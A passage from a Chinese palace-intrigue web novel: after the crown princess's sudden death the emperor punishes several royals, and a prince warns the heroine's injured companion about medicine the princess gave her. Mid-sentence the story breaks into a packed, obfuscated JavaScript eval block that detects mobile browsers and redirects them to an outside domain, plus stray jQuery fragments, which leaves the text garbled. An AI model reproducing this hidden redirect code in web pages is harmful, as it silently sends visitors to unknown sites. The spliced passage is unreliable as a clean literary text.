这一惊呼立刻吸引了众人,贵妃看了一眼皇帝,皇帝点头示意,贵妃这才快步进入内室,众人也走上前去,看清了里面的情景。
太子妃赵安贤身着素衣,披散着长发躺在床上,太子挽着太子妃的手失声痛哭,而床榻之上的太子妃瞪大了双眼,一副难以置信的表情。
除此之外,毫无生机。
太子妃赵安贤死了。
但是怎么死的,目前没人知道。
而室内只有太子和太子妃。
总不能,是太子杀了太子妃吧?
察觉到身后的动静,太子三步并两步跑过来,跪在皇帝面前道:“父皇,快叫太医给安贤诊治,安贤怎么会突然这样,快啊!”
说罢,便去拉扯太医。
“怎么会呢?刚才臣等诊脉,太子妃还好好的,怎么会突然就去世了呢?”
他们都怕这罪责背在自己身上。
不过已经另外有太医走上前去为太子妃搭脉,但片刻后还是摇摇头:“太子节哀,太子妃脉象全无,已经去了!”
脉象全无,已经去了。
脉象全无,是有有胎脉,也就死无对证了。
除非剖开肚子来看,否则谁能确定太子妃腹中有没有孩子。
可若真的剖开太子妃的肚子来检查,这不仅对赵家而言可是奇耻大辱,更是皇室的耻辱。
“怎么会?怎么会?”太子不断大喊着,又重新回到床边,一副痛失所爱的模样,怜爱的伸手抚摸着赵安贤的脸庞。
“安贤,怎么会这样?是不是因为落水惊了腹中的孩子,所以大出血身亡?你们为什么不救她?为什么不救她?”
太医还没去下结论,太子已经定了太子妃的死因。
说罢,太子一副疯魔的模样要去拉扯几位太医,拉扯间到了皇帝面前,皇帝似乎很是生气,直接一脚踢翻了太子。
“够了!身为储君,如此疯魔想什么样子!”
太子终于冷静了几分,但脸上还是写满了痛苦。
“父皇,安贤是我的发妻,锦荣还那么小,她就没有母亲了?如果安贤没有落水,就不会受惊,没有受惊,就不会小产大出血,就不会丢了性命!”
说道这里,太子起身指着人群中的裴雅云:“都是你,你非要提议去拜什么月,如果没有提这件事情,早就结束了宴会,也不会发生这么多事情!”
“够了,让太子妃去拜月是朕提的,太子是在怪朕吗?”
“儿臣不敢!”太子小了下去:“儿臣只是......只是......”
“陛下,太子突然痛失所爱,心情悲怆,还请饶恕他的失言!”皇后也是抹起了眼泪求情。现在的情况,太子反倒成了受害者。
“儿臣当然不是怪父皇,只是如果八妹不提拜月一事,父皇也不会答应让安贤去。凡是有因才有果,安贤的死,八妹要负一定的责任。还有昭华,若是她能警惕一些,就不会让陈美人伤了安贤,她的伴读身怀武艺,若是拉住安贤,她也不会落水。”
太子将她们指责个遍,而眼下太子身为“受害者”,这番话也让众人同情,不免觉得他说的有道理。
宋昭颜刚准备开口,贵妃可忍不住了,见有人出头,宋昭颜便闭了嘴。
“太子这番话未免有失偏颇,罪魁祸首陈美人已经赐死,你还想陛下也赐死雅云......和昭华吗?”
太子不再像刚才那样疯魔,反倒有些失魂落魄:“父皇,儿臣也不是不讲道理的人,只是安贤死了,儿臣如何对她父母交代。”
就算不顾及赵家,也要顾忌朝堂文武百官,死的还是太子的正妻。
太子妃之死的罪魁祸首只是一个小小的美人,赵家真的能接受吗?
皇帝沉默许久,似乎真的非常动容太子对太子妃深厚的感情。最后终于还是开口问罪裴雅云。
“贵妃周氏教女无方,降为德妃,罚奉三个月。八公主性格顽劣,禁足三个月。以儆效尤!”
突然被降位份,贵妃怎么甘心,她也立刻跪下哭诉道:“陛下明鉴啊......”
“不必再说,若是再说,就再降!”
德妃果然闭了嘴,但是忍不住怨恨的眼神看向宋昭颜。
处置了德妃和裴雅云,宋昭颜却还没有得到任何惩罚,他们当然不甘心。
尤其是太子,还用痛苦的眼神看着皇帝。
“昭华禁足一个月,罚奉一个月,至于你的伴读,虽然救了太子妃,但却还是不够及时,罪该赐死!”
宋昭颜立刻求情:“父皇开恩,新月她......”
“看在救了你的份上,死罪可免,但是活罪难逃,杖责十下!”
死罪改成打十板子,看上去好像挺划算,可是宋昭颜却不认可。她们明明没有错!
“父皇明鉴,此事不关新月的事!”
但是皇帝的身影已经出门,还吩咐着皇后操办太子妃的后事,丝毫没有理会宋昭颜的话。
而展新月也拉住了宋昭颜,对着她摇摇头道:“公主不必求情了,现在这个情况已经很好了,毕竟太子妃丢的是一条命。”
就算太子妃丢的是一条命确实惋惜?可本就与他们无关,却还要白白挨这个打!
而下一刻,施刑的太监已经上前拉着展新月往外走。
这个夜晚发生了太多事,明明是团圆节,太子妃却丢了一条命。
贵妃降位,裴雅云也禁足了。
宋昭颜没受皮肉之苦,但是展新月替她受了,裴慎看向宋昭颜的眼神简直恨不得杀了她。
棍棒一下一下重重落下,宋昭颜想扑过去阻拦,监刑的公公却道:“陛下说了,若是昭华公主阻拦,每阻拦一下,加五个板子!”
无奈,宋昭颜只能看着展新月生生的挨了这十下板子。
即便展新月从小习武身强体壮,但是生生挨了这十板子,肯定还是有影响的。
后续好些时日,她都只能休养在床,哪儿也不能去。
宋昭颜于心不忍,也是毫不犹豫的兑换积分减轻了她不少的疼痛感,又换了更好的药给她。
展新月看着宋昭颜送来的药很是感激,又想到宋昭颜对她的维护,更加觉得宋昭颜之前展露出来的性格只是假象。于是对着她道:“公主不必为臣女忧心,臣女并无大碍。”
“这些时日你就好好休息,反正本宫也被禁足了,哪儿也去不了,你不必跟着!时辰不早了,你好好休息!”
宋昭颜走了,裴慎原本是跟着一起走的,但却
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15932219|175522||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
很快去而复返。
不过考虑到此刻的时辰,外加男女有别,所以他并没有进入屋内,而是就站在门外。
展新月自然很快察觉,语气也显得警惕。
“谁在外面?”
裴慎压低了声音开口:“是我!”
展新月无法下床,却也没有开口让裴慎进屋,二人只能就这样对话:“九皇子,您这是?”
裴慎心中有很多话想和展新月说,但却又不知道从何说起。沉默片刻后,这才说道:“刚才公主给的药,我还是建议你不要用。”
展新月更加疑惑:“为何?”
裴慎似乎还是在犹豫,最后还是选择说出心中的想法:“你也和她接触这么久,应该知道她什么性子。今日倒像是转了性儿,但这肯定都是假象,做给陛下看的。陛下被蒙蔽多年,所以才一直相信宋昭颜单纯,无底线的偏宠她。你别被她突然的示好给骗了!”
展新月听完裴慎的话,眉宇之间满是不信,不过裴慎看不见。
之前她确实觉得宋昭颜品行都不好,但如果真是那样,今日何必如此维护她?总不可能是因为她是伴读的关系吧?
小小伴读,真惹了事儿,宋昭颜真的不在意,根本不会维护,甚至压根不在意,处置了就处置了。
所以展新月觉得,这位昭华公主对外所展现的,很大程度都是伪装,是假象!
“是吗?可我不这么觉得!”展新月没有大吵大闹的反驳,只是很平静的陈述出来。
见展新月维护宋昭颜,裴慎一副展新月被骗,满脸都是想要将误入歧途之人拉回来焦灼。
“看!这就是她的目的,叫你迷惑了,看不清真相。你自由生活在边关,哪里懂得宫中人心的险恶。展姑娘便信我没错的,那药千万别用,小心你伤势加重,万一出现个‘不治而亡’,说不定日后对于太子妃之死,莫名其妙就变成是你的责任了。再然后你家和赵家在朝堂之上斗得你死我活,届时......”
“九皇子慎言!”展新月即刻严肃起来,急忙打断裴慎的话。
裴慎似乎也察觉失言,立刻捂了嘴。
他只是假设性的分析,一时情急,于是失言了。
不过幸好,这里没有其他人。
“九皇子的好意臣女谢过,不过臣女相信公主应该没有其他意思,毕竟今日八公主和陈美人发难的时候,是公主一力维护。再者若是公主给的药有问题,她的药又从哪儿来?不还是太医院,那对太医下令不就好了,何必多此一举!不过九皇子刚才的话,可切莫再说了。时辰不早了,殿下还是早些回去歇息吧。”
裴慎急了,懊恼自己操之过急,宋昭颜现在给了好处,展新月被迷惑很正常。
罢了,日后他多多替展新月上心便是。
“是我失言,多谢展姑娘提醒。那我就不打扰你休息了。”
说罢,裴慎这才彻底离开。
今夜发生太多事,此刻已然子时,奈何宋昭颜躺在床上丝毫没有睡意。
她算是已经摸清了,很多时候系统不会给全部剧情,都要她自己摸索。不过这也有好处,那便是积分翻倍。
而此刻她翻来覆去将今夜的事情来回复盘。
从八公主出言,要拜月开始。